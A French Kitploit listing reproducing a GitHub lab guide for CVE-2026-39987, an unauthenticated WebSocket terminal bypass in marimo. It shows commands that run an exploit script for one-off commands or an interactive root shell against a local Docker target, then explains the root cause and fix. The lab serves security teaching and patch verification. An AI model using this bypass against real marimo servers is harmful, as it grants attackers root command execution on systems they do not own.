Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-39987-lab-or-marimo-cve-lab — # Laboratoire Docker pédagogique démontrant CVE-2026-39987, une RCE sans authentification via contournement de l'authentification WebSocket dans marimo, avec script d'exploitation et étapes de vérification du correctif. | Kitploit
Outils/GitHubGitHub/dhiaelhak-rached/cve-2026-39987-lab-or-marimo-cve-lab
Authentification et AutorisationAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHub

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
dhiaelhak-rached/cve-2026-39987-lab-or-marimo-cve-lab

CVE-2026-39987-lab-or-marimo-cve-lab

# Laboratoire Docker pédagogique démontrant CVE-2026-39987, une RCE sans authentification via contournement de l'authentification WebSocket dans marimo, avec script d'exploitation et étapes de vérification du correctif.

Voir le dépôt
17il y a 5 moisPas encore vérifié
Partager

Guide du laboratoire CVE-2026-39987

Exécution de code à distance avant authentification via contournement de l'authentification WebSocket du terminal

Un laboratoire Docker pédagogique pour comprendre, reproduire et corriger cette vulnérabilité critique dans marimo.


Table des matières

  • Vue d'ensemble
  • Architecture
  • Démarrage rapide
  • Procédure pas à pas
    • Étape 1 : Construire et démarrer le laboratoire
    • Étape 2 : Confirmer que l'authentification est active
    • Étape 3 : Exécuter l'exploit
    • Étape 4 : Comprendre le contournement
    • Étape 5 : Vérification du correctif
  • Dépannage
  • Nettoyage
  • Références

Vue d'ensemble

Ciblemarimo <= 0.20.4 exécuté en mode edit avec authentification par jeton activée
AttaquantTout hôte avec Python 3 et websocket-client
ObjectifObtenir un shell racine interactif via /terminal/ws sans fournir de jeton d'authentification
TypeContournement d'authentification → Exécution de code à distance (RCE)
Correctifmarimo >= 0.23.0

⚠️ Usage éthique uniquement : Ce laboratoire est conçu pour les chercheurs en sécurité, les développeurs et les étudiants afin de comprendre comment les vulnérabilités de contournement d'authentification surviennent et comment les corriger correctement. À exécuter uniquement dans des environnements isolés.


Architecture

┌─────────────────────────────────────────────────────────────┐
│                        Docker Network                         │
│                        (cve-lab)                              │
│                                                              │
│   ┌──────────────────────┐      ┌──────────────────────┐   │
│   │   marimo-vulnerable  │      │   marimo-attacker    │   │
│   │   (Target)           │      │   (Attacker)         │   │
│   │   Port: 2718         │      │   Python 3.12        │   │
│   │   Auth: Token        │◄─────│   exploit.py         │   │
│   │   marimo: 0.20.4     │      │                      │   │
│   └──────────────────────┘      └──────────────────────┘   │
│                                                              │
└─────────────────────────────────────────────────────────────┘

Fichiers de ce laboratoire :

FichierRôle
Dockerfile.targetConstruit le serveur marimo vulnérable
docker-compose.ymlOrchestre les conteneurs cible et attaquant
exploit.pyScript d'exploit PoC (commande unique + mode interactif)
LAB_GUIDE.mdCe guide

Démarrage rapide

# Cloner le dépôt
git clone https://github.com/YOUR_USERNAME/CVE-2026-39987-lab.git
cd CVE-2026-39987-lab

# Démarrer le laboratoire
docker-compose up --build -d

# Exécuter l'exploit
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"

# Obtenir un shell interactif
python exploit.py ws://127.0.0.1:2718/terminal/ws shell

Procédure pas à pas

Étape 1 : Construire et démarrer le laboratoire

# Créer un répertoire de travail et placer ces fichiers à l'intérieur :
#    - docker-compose.yml
#    - Dockerfile.target
#    - exploit.py

# Construire et démarrer la cible
docker-compose up --build -d

# Vérifier que la cible est en cours d'exécution
docker ps
# Vous devriez voir : marimo-vulnerable   Up   0.0.0.0:2718->2718/tcp

Ce qui se passe :

  • Docker construit un conteneur avec marimo 0.20.4 (version vulnérable)
  • Le serveur démarre en mode edit avec l'authentification --token explicitement activée
  • Le port 2718 est exposé sur votre hôte

Étape 2 : Confirmer que l'authentification est active

Avant d'exploiter, vérifions que la cible est correctement protégée sur les points de terminaison légitimes :

# Essayer d'ouvrir l'interface principale dans un navigateur ou via curl
curl -s http://127.0.0.1:2718/
# Attendu : Redirection vers la page de connexion ou 401/403 (jeton requis)

# Essayer le WebSocket principal (/ws) sans jeton
python3 -c "import websocket; ws=websocket.WebSocket(); ws.connect('ws://127.0.0.1:2718/ws')"
# Attendu : Connexion rejetée ou fermée immédiatement en raison de l'authentification manquante

Observation clé : Les points de terminaison principaux de l'application appliquent correctement l'authentification. La vulnérabilité réside dans un point de terminaison secondaire qui a été négligé.


Étape 3 : Exécuter l'exploit

Option A — Exécution d'une commande unique

pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"

Sortie attendue :

[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[+] Connected! No auth needed - Terminal WebSocket accepted
[*] Executing: id && whoami && hostname

[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
<container_id>

Option B — Shell interactif

python exploit.py ws://127.0.0.1:2718/terminal/ws shell

Vous obtiendrez une invite $ où vous pourrez exécuter des commandes système arbitraires :

[+] Got interactive shell! Type 'exit' to quit.

$ ls -la /
total 56
drwxr-xr-x   1 root root 4096 Jan  1 00:00 .
drwxr-xr-x   1 root root 4096 Jan  1 00:00 ..
...
$ exit
[*] Connection closed.

Étape 4 : Comprendre le contournement

Pourquoi cela fonctionne-t-il ?

La vulnérabilité existe en raison d'un contrôle d'authentification incohérent entre les points de terminaison WebSocket :

┌─────────────────────────────────────────────────────────────────┐
│  Authentication Middleware (Starlette)                          │
│  ├── Marks unauthenticated connections as "UnauthenticatedUser" │
│  └── Does NOT automatically close WebSocket connections         │
└─────────────────────────────────────────────────────────────────┘
                              │
              ┌───────────────┴───────────────┐
              ▼                               ▼
    ┌──────────────────┐          ┌──────────────────┐
    │   /ws (Main)     │          │ /terminal/ws     │
    │                  │          │ (Terminal)       │
    │  ✓ validate_auth()│          │  ✗ NO auth check │
    │  ✓ @requires("edit")│        │  ✓ SessionMode.EDIT│
    │                  │          │  ✓ supports_terminal()│
    │  Rejects unauth  │          │  ✓ Accepts immediately│
    └──────────────────┘          └──────────────────┘

Analyse de la cause racine

  1. Middleware d'authentification (Starlette AuthenticationMiddleware) marque les connexions non authentifiées comme UnauthenticatedUser mais ne ferme pas automatiquement les connexions WebSocket.

  2. Points de terminaison corrects (par exemple, /ws) appellent validate_auth() ou utilisent @requires("edit"), rejetant les clients non authentifiés.

  3. Point de terminaison vulnérable (/terminal/ws) vérifie uniquement :

    • SessionMode.EDIT — garantit que le serveur est en mode édition
    • supports_terminal() — garantit que la fonctionnalité terminal est disponible
    • ...puis appelle immédiatement await websocket.accept() sans aucun contrôle d'authentification.
  4. Impact : pty.fork() génère un shell PTY complet s'exécutant en tant qu'utilisateur du serveur (root dans l'image Docker par défaut), donnant à l'attaquant un accès système complet.

Le correctif (marimo >= 0.23.0)

Le correctif ajoute une validation d'authentification appropriée au point de terminaison /terminal/ws, garantissant qu'il correspond à la posture de sécurité des autres points de terminaison.

Télécharger l’outil